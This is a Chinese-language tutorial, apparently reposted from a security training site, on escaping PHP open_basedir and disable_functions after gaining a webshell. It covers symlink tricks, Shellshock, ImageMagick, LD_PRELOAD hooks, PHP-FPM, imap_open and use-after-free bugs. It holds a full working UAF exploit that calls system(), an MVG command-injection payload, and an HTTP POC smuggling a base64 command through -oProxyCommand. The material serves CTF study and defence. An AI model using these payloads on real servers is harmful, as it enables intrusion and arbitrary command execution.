1. 程式人生 > 實用技巧 >php中函式禁用繞過的原理與利用

php中函式禁用繞過的原理與利用

本文首發於“合天網安實驗室” 作者:HhhM

本文涉及知識點實操練習-繞過函式過濾(點選連結做實驗) 實驗:繞過函式過濾(合天網安實驗室)

是否遇到過費勁九牛二虎之力拿了webshell卻發現連個scandir都執行不了?拿了webshell確實是一件很歡樂的事情,但有時候卻僅僅只是一個小階段的結束;本文將會以webshell作為起點從頭到尾來歸納bypass disable function的各種姿勢。

從phpinfo中獲取可用資訊

資訊收集是不可缺少的一環;通常的,我們在通過前期各種工作成功執行程式碼 or 發現了一個phpinfo頁面之後,會從該頁面中搜集一些可用資訊以便後續漏洞的尋找。

我談談我個人的幾個偏向點:

版本號

最直觀的就是php版本號(雖然版本號有時候會在響應頭中出現),如我的機器上版本號為:

那麼找到版本號後就會綜合看看是否有什麼"版本專享"漏洞可以利用。

DOCUMENT_ROOT

接下來就是搜尋一下DOCUMENT_ROOT取得網站當前路徑,雖然常見的都是在/var/www/html,但難免有例外。

disable_functions

這是本文的重點,disable_functions顧名思義函式禁用,以筆者的kali環境為例,預設就禁用瞭如下函式:


如一些ctf題會把disable設定的極其噁心,即使我們在上傳馬兒到網站後會發現什麼也做不了,那麼此時的繞過就是本文所要講的內容了。

open_basedir

該配置限制了當前php程式所能訪問到的路徑,如筆者設定了:

隨後我們能夠看到phpinfo中出現如下:

嘗試scandir會發現列根目錄失敗。

opcache

如果使用了opcache,那麼可能達成getshell,但需要存在檔案上傳的點,直接看連結:

https://www.cnblogs.com/xhds/p/13239331.html

others

如檔案包含時判斷協議是否可用的兩個配置項:

allow_url_include、allow_url_fopen

上傳webshell時判斷是否可用短標籤的配置項:

short_open_tag

還有一些會在下文講到

bypass open_basedir

因為有時需要根據題目判斷採用哪種bypass方式,同時,能夠列目錄對於下一步測試有不小幫助,這裡列舉幾種比較常見的bypass方式,均從p神部落格摘出,推薦閱讀p神部落格原文,這裡僅作簡略總結。

syslink

https://www.php.net/manual/zh/function.symlink.php

symlink ( string $target , string $link ) : bool

symlink() 對於已有的 target 建立一個名為 link 的符號連線。

簡單來說就是建立軟鏈達成bypass。

程式碼實現如下:

首先是建立一個link,將tmplink用相對路徑指向abc/abc/abc/abc,然後再建立一個link,將exploit指向tmplink/../../../../etc/passwd,此時就相當於exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相當於exploit指向了./etc/passwd,此時刪除tmplink檔案後再建立tmplink目錄,此時就變為/etc/passwd成功跨目錄。
訪問exploit即可讀取到/etc/passwd。

glob

查詢匹配的檔案路徑模式,是php自5.3.0版本起開始生效的一個用來篩選目錄的偽協議

常用bypass方式如下:

但會發現比較神奇的是隻能列舉根目錄下的檔案。

chdir()與ini_set()

chdir是更改當前工作路徑。

利用了ini_set的open_basedir的設計缺陷,可以用如下程式碼觀察一下其bypass過程:

bindtextdomain

該函式的第二個引數為一個檔案路徑,先看程式碼:


可以看到當檔案不存在時返回值為false,因為不支援萬用字元,該方法只能適用於linux下的暴力猜解檔案。

Realpath

同樣是基於報錯,但realpath在windows下可以使用萬用字元<和>進行列舉,指令碼摘自p神部落格:

other

如命令執行事實上是不受open_basedir的影響的。

bypass disable function

蟻劍專案倉庫中有一個各種disable的測試環境可以復現,需要環境的師傅可以選用蟻劍的環境。

https://github.com/AntSwordProject/AntSword-Labs

黑名單突破

這個應該是最簡單的方式,就是尋找替代函式來執行,如system可以採用如反引號來替代執行命令。

看幾種常見用於執行系統命令的函式

system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``

當然了這些也常常出現在disable function中,那麼可以尋找可以比較容易被忽略的函式,通過函式 or 函式組合拳來執行命令。

  • 反引號:最容易被忽略的點,執行命令但回顯需要配合其他函式,可以反彈shell
  • pcntl_exec:目標機器若存在python,可用php執行python反彈shell

ShellShock

原理

本質是利用bash破殼漏洞(CVE-2014-6271)。

影響範圍在於bash 1.14 – 4.3

關鍵在於:

目前的bash指令碼是以通過匯出環境變數的方式支援自定義函式,也可將自定義的bash函式傳遞給子相關程序。一般函式體內的程式碼是不會被執行,但此漏洞會錯誤的將“{}”花括號外的命令進行執行。

本地驗證方法:

在shell中執行下面命令:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

執行命令後,如果顯示Vulnerable CVE-2014-6271,證系統存在漏洞,可改變echo Vulnerable CVE-2014-6271為任意命令進行執行。

詳見:https://www.antiy.com/response/CVE-2014-6271.html

因為是設定環境變數,而在php中存在著putenv可以設定環境變數,配合開啟子程序來讓其執行命令。

利用

https://www.exploit-db.com/exploits/35146


將exp上傳後即可執行系統命令bypass disable,就不做過多贅述。

ImageMagick

原理

漏洞源於CVE-2016-3714,ImageMagick是一款圖片處理程式,但當用戶傳入一張惡意圖片時,會造成命令注入,其中還有其他如ssrf、檔案讀取等,當然最致命的肯定是命令注入。

而在漏洞出來之後各位師傅聯想到php擴充套件中也使用了ImageMagick,當然也就存在著漏洞的可能,並且因為漏洞的原理是直接執行系統命令,所以也就不存在是否被disable的可能,因此可以被用於bypass disable。

關於更加詳細的漏洞分析請看p神的文章:CVE-2016-3714 - ImageMagick 命令執行分析,我直接摘取原文中比較具有概括性的漏洞說明:

漏洞報告中給出的POC是利用瞭如下的這個委託:

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

它在解析https圖片的時候,使用了curl命令將其下載,我們看到%M被直接放在curl的最後一個引數內。ImageMagick預設支援一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文字形式寫入向量圖的內容,而這其中就可以包含https處理過程。
所以我們可以構造一個.mvg格式的圖片(但檔名可以不為.mvg,比如下圖中包含payload的檔案的檔名為vul.gif,而ImageMagick會根據其內容識別為mvg圖片),並在https://後面閉合雙引號,寫入自己要執行的命令

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

這樣,ImageMagick在正常執行圖片轉換、處理的時候就會觸發漏洞。

漏洞的利用極其簡單,只需要構造一張惡意的圖片,new一個類即可觸發該漏洞:

利用

那麼依舊以靶場題為例,依舊以擁有一句話馬兒為前提,我們首先上傳一個圖片,如上面所述的我們圖片的字尾無需mvg,因此上傳一個jpg圖片:

那麼因為我們看不到回顯,所以可以考慮將結果寫入到檔案中,或者直接執行反彈shell。然後如上上傳一個poc.php:

訪問即可看到我們寫入的檔案。那麼這一流程頗為繁瑣(當我們需要多次執行命令進行測試時就需要多次調整圖片內容),因此我們可以寫一個php馬來動態傳入命令:

LD_PRELOAD

喜聞樂見的LD_PRELOAD,這是我學習web時遇到的第一個bypass disable的方式,個人覺得很有意思。

原理

LD_PRELOAD是Linux系統的一個環境變數,它可以影響程式的執行時的連結(Runtime linker),它允許你定義在程式執行前優先載入的動態連結庫。這個功能主要就是用來有選擇性的載入不同動態連結庫中的相同函式。通過這個環境變數,我們可以在主程式和其動態連結庫的中間載入別的動態連結庫,甚至覆蓋正常的函式庫。一方面,我們可以以此功能來使用自己的或是更好的函式(無需別人的原始碼),而另一方面,我們也可以以向別人的程式注入程式,從而達到特定的目的。

而我們bypass的關鍵就是利用LD_PRELOAD載入庫優先的特點來讓我們自己編寫的動態連結庫優先於正常的函式庫,以此達成執行system命令。

因為id命令比較易於觀察,網上文章也大同小異採用了id命令下的getuid/getgid來做測試,

我們先看看id命令的呼叫函式:

strace -f /usr/bin/id

Resulut:

close(3)                                = 0
geteuid32()                             = 0
getuid32()                              = 0
getegid32()                             = 0
getgid32()                              = 0
(省略....)
getgroups32(0, NULL)                    = 1
getgroups32(1, [0])                     = 1

這裡可以看到有不少函式可以編寫,我選擇getgroups32,我們可以用man命令檢視一下函式的定義:

man getgroups32

看到這一部分:

得到了函式的定義,我們只需要編寫其內的getgroups即可,因此我編寫一個hack.c:、

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int getgroups(int size, gid_t list[]){


  unsetenv("LD_PRELOAD");
  system("echo 'i hack it'");
  return 1;
}
然後使用gcc編譯成一個動態連結庫
gcc -shared -fPIC hack.c -o hack.so

使用LD_PRELOAD載入並執行id命令,我們會得到如下的結果:

再來更改一下uid測試,我們先adduser一個新使用者hhhm,執行id命令結果如下:

然後根據上面的步驟取得getuid32的函式定義,據此來編寫一個hack.c:

gcc編譯後,執行,結果如下:

可以看到我們的uid成功變為1,且更改為root了,當然了因為我們的hack.so是root許可權編譯出來的,在一定條件下也許可以用此種方式來提權,網上也有相關文章,不過我沒實際嘗試過就不做過分肯定的說法。

下面看看在php中如何配合利用達成bypass disable。

php中的利用

php中主要是需要配合putenv函式,如果該函式被ban了那麼也就沒他什麼事了,所以bypass前需要觀察disable是否ban掉putenv。

php中的利用根據大師傅們的文章我主要提取出下面幾種利用方式,其實質都是大同小異,需要找出一個函式然後採用相同的機制覆蓋掉其函式進而執行系統命令。

那麼我們受限於disable,system等執行系統命令的函式無法使用,而若想要讓php呼叫外部程式來進一步達成執行系統命令從而達成bypass就只能依賴與php直譯器本身。

因此有一個大前提就是需要從php直譯器中啟動子程序。

老套路之mail

先選取一臺具有sendmail的機器,筆者是使用kali,先在php中寫入如下程式碼

<?php
mail("","","","");

同樣的可以使用strace來追蹤函式的執行過程。

strace -f php phpinfo.php 2>&1 | grep execve

可以看到這裡呼叫了sendmail,與網上的文章同樣的我們可以追蹤sendmail來檢視其呼叫過程,或者使用readelf可以檢視其使用函式:

strace sendmail

那麼以上面的方式編寫並編譯一個動態連結庫然後利用LD_PRELOAD去執行我們的命令,這就是老套路的利用。
因為沒有回顯,為方便檢視效果我寫了一個ls>test,因此hack.c如下:

同樣的gcc編譯後,頁面寫入如下:

訪問頁面得到執行效果如下:

再提一個我在利用過程中走錯的點,這裡為測試,我換用一臺沒有sendmail的ubuntu:

但如果我們按照上面的步驟直接追蹤index的執行而不過濾選取execve會發現同樣存在著geteuid,並且但這事實上是sh呼叫的而非mail呼叫的,因此如果我們使用php index.php來呼叫會發現system執行成功,但如果我們通過頁面來訪問則會發現執行失敗,這是一個在利用過程中需要注意的點,這也就是為什麼我們會使用管道符來選取execve。
第一個execve為php直譯器啟動的程序,而後者即為我們所需要的sendmail子程序。

error_log

同樣的除了mail會呼叫sendmail之外,還有error_log也會呼叫,如圖:

ps:當error_log的type為1時就會呼叫到sendmail。

因此上面針對於mail函式的套路對於error_log同樣適用,however,我們會發現此類劫持都只是針對某一個函式,而前面所做的都是依賴與sendmail,而像目標機器如果不存在sendmail,那麼前面的做法就完全無用。

yangyangwithgnu師傅在其文無需sendmail:巧用LD_PRELOAD突破disable_functions提到了我們不要侷限於僅劫持某一函式,而應考慮劫持共享物件

劫持共享物件

文中使用到了如下程式碼編寫的庫:

那麼關於__attribute__ ((__constructor__))個人理解是其會在共享庫載入時執行,也就是程式啟動時執行,那麼這一步的利用同樣需要有前面說到的啟動子程序這一個大前提,也就是需要有類似於mail、Imagick可以令php直譯器啟動新程序的函式。

同樣的將LD_PRELOAD指定為gcc編譯的共享庫,然後訪問頁面檢視,會發現成功將ls寫到test下(如果失敗請檢查寫許可權問題)

0ctf 2019中Wallbreaker Easy中的出題點就是採用了imagick在處理一些特定字尾檔案時,會呼叫ffmpeg,也就是會開啟子程序,從而達成載入共享庫執行系統命令bypass disable。

Apache Mod CGI

前面的兩種利用都需要putenv,如果putenv被ban了那麼就需要這種方式,簡單介紹一下原理。

原理

利用htaccess覆蓋apache配置,增加cgi程式達成執行系統命令,事實上同上傳htaccess解析png檔案為php程式的利用方式大同小異。

mod cgi:

任何具有MIME型別application/x-httpd-cgi或者被cgi-script處理器處理的檔案都將被作為CGI指令碼對待並由伺服器執行,它的輸出將被返回給客戶端。可以通過兩種途徑使檔案成為CGI指令碼,一種是檔案具有已由AddType指令定義的副檔名,另一種是檔案位於ScriptAlias目錄中。

因此我們只需上傳一個.htaccess:

利用

利用就很簡單了:

  • 上傳htaccess,內容為上文所給出的內容
  • 上傳a.test,內容為:

PHP-FPM

php-fpm相信有讀者在配置php環境時會遇到,如使用nginx+php時會在配置檔案中配置如下:


那麼看看百度百科中關於php-fpm的介紹:

PHP-FPM(FastCGI Process Manager:FastCGI程序管理器)是一個PHPFastCGI管理器,對於PHP 5.3.3之前的php來說,是一個補丁包 [1] ,旨在將FastCGI程序管理整合進PHP包中。如果你使用的是PHP5.3.3之前的PHP的話,就必須將它patch到你的PHP原始碼中,在編譯安裝PHP後才可以使用。

那麼fastcgi又是什麼?Fastcgi 是一種通訊協議,用於Web伺服器與後端語言的資料交換。

原理

那麼我們在配置了php-fpm後如訪問http://127.0.0.1/test.php?test=1那麼會被解析為如下鍵值對:

這個陣列很眼熟,會發現其實就是$_SERVER裡面的一部分,那麼php-fpm拿到這一個陣列後會去找到SCRIPT_FILENAME的值,對於這裡的/var/www/html/test.php,然後去執行它。

前面筆者留了一個配置,在配置中可以看到fastcgi的埠是9000,監聽地址是127.0.0.1,那麼如果地址為0.0.0.0,也即是將其暴露到公網中,倘若我們偽造與fastcgi通訊,這樣就會導致遠端程式碼執行。

那麼事實上php-fpm通訊方式有tcp也就是9000埠的那個,以及socket的通訊,因此也存在著兩種攻擊方式。

socket方式的話配置檔案會有如下:

fastcgi_pass unix:/var/run/phpfpm.sock;

那麼我們可以稍微瞭解一下fastcgi的協議組成,其由多個record組成,這裡摘抄一下p神原文中的一段結構體:

可以看到record分為header以及body,其中header固定為8位元組,而body由其contentLength決定,而paddingData為保留段,不需要時長度置為0。

而type的值從1-7有各種作用,當其type=4時,後端就會將其body解析成key-value,看到key-value可能會很眼熟,沒錯,就是我們前面看到的那一個鍵值對陣列,也就是環境變數。

那麼在學習漏洞利用之前,我們有必要了解兩個環境變數,

  • PHP_VALUE:可以設定模式為 PHP_INI_USER 和 PHP_INI_ALL 的選項
  • PHP_ADMIN_VALUE:可以設定所有選項(除了disable_function)

那麼以p神文中的利用方式我們需要滿足三個條件:

  • 找到一個已知的php檔案
  • 利用上述兩個環境變數將auto_prepend_file設定為php://input
  • 開啟php://input需要滿足的條件:allow_url_include為on

此時熟悉檔案包含漏洞的童鞋就一目瞭然了,我們可以執行任意程式碼了。

這裡利用的情況為:

利用

我們先直接看phpinfo如何標識我們可否利用該漏洞進行攻擊。

那麼先以攻擊tcp為例,倘若我們偽造nginx傳送資料(fastcgi封裝的資料)給php-fpm,這樣就會造成任意程式碼執行漏洞。

p神已經寫好了一個exp,因為開放fastcgi為0.0.0.0的情況事實上同攻擊內網相似,所以這裡可以嘗試一下攻擊127.0.0.1也就是攻擊內網的情況,那麼事實上我們可以配合gopher協議來攻擊內網的fpm,因為與本文主題不符就不多講。

可以看到結果如圖所示:

攻擊成功後我們去檢視一下phpinfo會看到如下:

也就是說我們構造的攻擊包為:

很明顯的前面所說的都是成立的;然而事實上我這裡是沒有加入disable的情況,我們往裡面加入disable再嘗試。

pkill php-fpm
/usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini

注意修改了ini檔案後重啟fpm需要指定ini。

我往disable裡壓了一個system:

然後再執行一下exp,可以發現被disable了:

因此此種方法還無法達成bypass disable的作用,那麼不要忘了我們的兩個php_value能夠修改的可不僅僅只是auto_prepend_file,並且的我們還可以修改basedir來繞過;在先前的繞過姿勢中我們是利用到了so檔案執行擴充套件庫來bypass,那麼這裡同樣可以修改extension為我們編寫的so庫來執行系統命令,具體利用有師傅已經寫了利用指令碼,事實上蟻劍中的外掛已經能實現了該bypass的功能了,那麼下面我直接對蟻劍中外掛如何實現bypass做一個簡要分析。

在執行蟻劍的外掛時會發現其在當前目錄生成了一個.antproxy.php檔案,那麼我們後續的bypass都是通過該檔案來執行,那麼先看一下這個shell的程式碼:

定位到關鍵程式碼:

可以看到它這裡向60882埠進行通訊,事實上這裡蟻劍使用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html開啟了一個新的php服務,並且不使用php.ini,因此也就不存在disable了,那麼我們在觀察其執行過程會發現其還在tmp目錄下上傳了一個so檔案,那麼至此我們有理由推斷出其通過攻擊php-fpm修改其extension為在tmp目錄下上傳的擴充套件庫,事實上從該外掛的原始碼中也可以得知確實如此:

那麼啟動了該php server後我們的流量就通過antproxy.php轉發到無disabel的php server上,此時就成功達成bypass。

載入so擴充套件

前面雖然解釋了其原理,但畢竟理論與實踐有所區別,因此我們可以自己打一下extension進行測試。

so檔案可以從專案中獲取,根據其提示編譯即可獲取ant.so的庫,修改php-fpm的php.ini,加入:

extension=/var/www/html/ant.so

然後重啟php-fpm,如果使用如下:

成功執行命令時即說明擴充套件成功載入,那麼我們再把ini恢復為先前的樣子,我們嘗試直接攻擊php-fpm來修改其配置項。

以指令碼來攻擊:

通過修改其內的code即可,效果如下:

漏洞利用成功。

com元件

原理&利用

需要目標機器滿足下列三個條件:

  • com.allow_dcom = true
  • extension=php_com_dotnet.dll
  • php>5.4

此時com元件開啟,我們能夠在phpinfo中看到:

要知道原理還是直接從exp看起:

首先,以new COM('WScript.shell')來生成一個com物件,裡面的引數也可以為Shell.Application(筆者的win10下測試失敗)。

然後這個com物件中存在著exec可以用來執行命令,而後續的方法則是將命令輸出,該方式的利用還是較為簡單的,就不多講了。

imap_open

該bypass方式為CVE-2018-19518

原理

imap擴充套件用於在PHP中執行郵件收發操作,而imap_open是一個imap擴充套件的函式,在使用時通常以如下形式:

$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);

那麼該函式在呼叫時會呼叫rsh來連線遠端shell,而在debian/ubuntu中預設使用ssh來代替rsh的功能,也即是說在這倆系統中呼叫的實際上是ssh,而ssh中可以通過-oProxyCommand=來呼叫命令,該選項可以使得我們在連線伺服器之前先執行命令,並且需要注意到的是此時並不是php直譯器在執行該系統命令,其以一個獨立的程序去執行了該命令,因此我們也就成功的bypass disable function了。

那麼我們可以先在ubuntu上試驗一下:

ssh -oProxyCommand="ls>test" 192.168.2.1

環境的話vulhub上有,其中給出了poc:

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125


hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

我們可以發現其中使用了%09來繞過空格,以base64的形式來執行我們的命令,那麼我這裡再驗證一下:

hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222
//ls>test

會發現成功寫入了一個test,漏洞利用成功,那麼接下來就是各種肆意妄為了。

三種UAF

EXP在:https://github.com/mm0r1/exploits

三種uaf分別是:

  • Json Serializer UAF
  • GC UAF
  • Backtrace UAF

關於uaf的利用因為涉及到二進位制相關的知識,而筆者是個web狗,因此暫時只會用exp打打,因此這裡就不多說,就暫時先稍微提一下三種uaf的利用版本及其概述//其實我就是照搬了exp裡面的說明,讀者可以看exp作者的說明就行了。

Json Serializer UAF

漏洞出現的版本在於:

  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

漏洞利用json在序列化中的堆溢位觸發bypass,漏洞為bug #77843

GC UAF

漏洞出現的版本在於:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date

漏洞利用的是php garbage collector(垃圾收集器)程式中的堆溢位達成bypass,漏洞為:bug #72530

Backtrace UAF

漏洞出現的版本在於:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 < 7.3.15 (released 20 Feb 2020)
  • 7.4 < 7.4.3 (released 20 Feb 2020)

漏洞利用的是 debug_backtrace這個函式,可以利用該函式的漏洞返回已經銷燬的變數的引用達成堆溢位,漏洞為bug #76047

利用

利用的話exp或者蟻劍上都有利用外掛了,這裡不多講,可以上ctfhub測試。

SplDoublyLinkedList UAF

概述

這個UAF是在先知上看到的,引用原文來概述:

可以看到,刪除元素的操作被放在了置空 traverse_pointer 指標前。

所以在刪除一個物件時,我們可以在其構析函式中通過 current 訪問到這個物件,也可以通過 next 訪問到下一個元素。如果此時下一個元素已經被刪除,就會導致 UAF。

PHP 部分(僅在 7.4.10、7.3.22、7.2.34 版本測試)

exp

exp同樣出自原文。

php部分:

<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
    for($j = 0;$j < $x;$j++) {
        $a[$p + $j] = chr($i & 0xff);
        $i >>= 8;
    }
}


function s2i($s) {
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}


function leak(&$a, $address) {
    global $s;
    i2s($a, 0x00, $address - 0x10);
    return strlen($s -> current());
}


function getPHPChunk($maps) {
    $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
    preg_match_all($pattern, $maps, $match);
    foreach ($match[1] as $value) {
        list($start, $end) = explode("-", $value);
        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
            return $address;
        }
    }
}


function bomb1(&$a) {
    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
        return (s2i($_GET["test1"]) & 0x7ffff0000000);
    }else {
        die("[!]Where is here");
    }
}


function bomb2(&$a) {
    $start = s2i($_GET["test2"]);
    return getElement($a, array($start, $start + 0x200000, 0x200000));
    die("[!]Not Found");
}


function getElement(&$a, $address) {
    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
        for ($y = 0;$y < 5;$y++) {
            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
                return $addr + $y * 0x08 - 0x18;
            }
        }
    }
}


function getClosureChunk(&$a, $address) {
    do {
        $address = leak($a, $address);
    }while(leak($a, $address) !== 0x00);
    echo "[+]Closure Chunk: " . dechex($address) . "\n";
    return $address;
}


function getSystem(&$a, $address) {
    $start = $address & 0xffffffffffff0000;
    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
    for($i = 0; $i < 0x1000 * 0x80; $i++) {
        $addr = $start - $i * 0x20;
        if ($addr < $lowestAddr) {
            break;
        }
        $nameAddr = leak($a, $addr);
        if ($nameAddr > $address || $nameAddr < $lowestAddr) {
            continue;
        }
        $name = dechex(leak($a, $nameAddr));
        $name = str_pad($name, 16, "0", STR_PAD_LEFT);
        $name = strrev(hex2bin($name));
        $name = explode("\x00", $name)[0];
        if($name === "system") {
            return leak($a, $addr + 0x08);
        }
    }
}


class Trigger {
    function __destruct() {
        global $s;
        unset($s[0]);
        $a = str_shuffle(str_repeat("T", 0xf));
        i2s($a, 0x00, 0x1234567812345678);
        i2s($a, 0x08, 0x04, 7);
        $s -> current();
        $s -> next();
        if ($s -> current() !== 0x1234567812345678) {
             die("[!]UAF Failed");
        }
        $maps = file_get_contents("/proc/self/maps");
        if (!$maps) {
            cantRead($a);
        }else {
            canRead($maps, $a);
        }
        echo "[+]Done";
    }
}


function bypass($elementAddress, &$a) {
    global $s;
    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
        die("[!]Get Closure Chunk Address Failed");
    }
    $closure_object = leak($a, $closureChunkAddress + 0x18);
    echo "[+]Closure Object: " . dechex($closure_object) . "\n";
    $closure_handlers = leak($a, $closure_object + 0x18);
    echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
    if(!($system_address = getSystem($a, $closure_handlers))) {
        die("[!]Couldn't determine system address");
    }
    echo "[+]Find system's handler: " . dechex($system_address) . "\n";
    i2s($a, 0x08, 0x506, 7);
    for ($i = 0;$i < (0x130 / 0x08);$i++) {
        $data = leak($a, $closure_object + 0x08 * $i);
        i2s($a, 0x00, $closure_object + 0x30);
        i2s($s -> current(), 0x08 * $i + 0x100, $data);
    }
    i2s($a, 0x00, $closure_object + 0x30);
    i2s($s -> current(), 0x20, $system_address);
    i2s($a, 0x00, $closure_object);
    i2s($a, 0x08, 0x108, 7);
    echo "[+]Executing command: \n";
    ($s -> current())("php -v");
}


function canRead($maps, &$a) {
    global $s;
    if (!$chunkAddress = getPHPChunk($maps)) {
        die("[!]Get PHP Chunk Address Failed");
    }
    i2s($a, 0x08, 0x06, 7);
    if (!$elementAddress = getElement($a, $chunkAddress)) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}


function cantRead(&$a) {
    global $s;
    i2s($a, 0x08, 0x06, 7);
    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
        die("[!]Please try to get address of PHP Chunk");
    }
    if (isset($_GET["test1"])) {
        die(dechex(bomb1($a)));
    }
    if (isset($_GET["test2"])) {
        $elementAddress = bomb2($a);
    }
    if (!$elementAddress) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}


$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
    $s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);

python部分:

ffi擴充套件

ffi擴充套件筆者初見於TCTF/0CTF 2020中的easyphp,當時是因為非預期解拿到flag發現了ffi三個字母才瞭解到php7.4中多了ffi這種東西。

原理

PHP FFI(Foreign Function interface),提供了高階語言直接的互相呼叫,而對於PHP而言,FFI讓我們可以方便的呼叫C語言寫的各種庫。

也即是說我們可以通過ffi來呼叫c語言的函式從而繞過disable的限制,我們可以簡單使用一個示例來體會一下:

輸出如下:

那麼這種利用方式可能出現的場景還不是很多,因此筆者稍微講解一下。

首先是cdef:

這一行是建立一個ffi物件,預設就會載入標準庫,以本行為例是匯入system這個函式,而這個函式理所當然是存在於標準庫中,那麼我們若要匯入庫時則可以以如下方式:

可以看看其函式原型:

取得了ffi物件後我們就可以直接呼叫函數了:

之後的程式碼較為簡單就不多講,那麼接下來看看實際應用該從哪裡入手。

利用

以tctf的題目為例,題目直接把cdef過濾了,並且存在著basedir,但我們可以使用之前說過bypass basedir來列目錄,逐一嘗試能夠發現可以使用glob列根目錄目錄:

可以發現根目錄存在著flag.h跟so:

因為後面環境沒有儲存,筆者這裡簡單複述一下當時題目的情況(僅針對預期解)。

發現了flag.h之後檢視ffi相關文件能夠發現一個load方法可以載入標頭檔案。

於是有了如下:

但當我們想要列印標頭檔案來獲取其記憶體在的函式時會尷尬的發現如下:

我們無法獲取到存在的函式結構,因此也就無法使用ffi呼叫函式,這一步路就斷了,並且cdef也被過濾了,無法直接呼叫system函式,但檢視文件能夠發現ffi中存在著不少與記憶體相關的函式,因此存在著記憶體洩露的可能,這裡借用飄零師傅的exp:

獲取到函式名後直接呼叫函式然後把結果打印出來即可: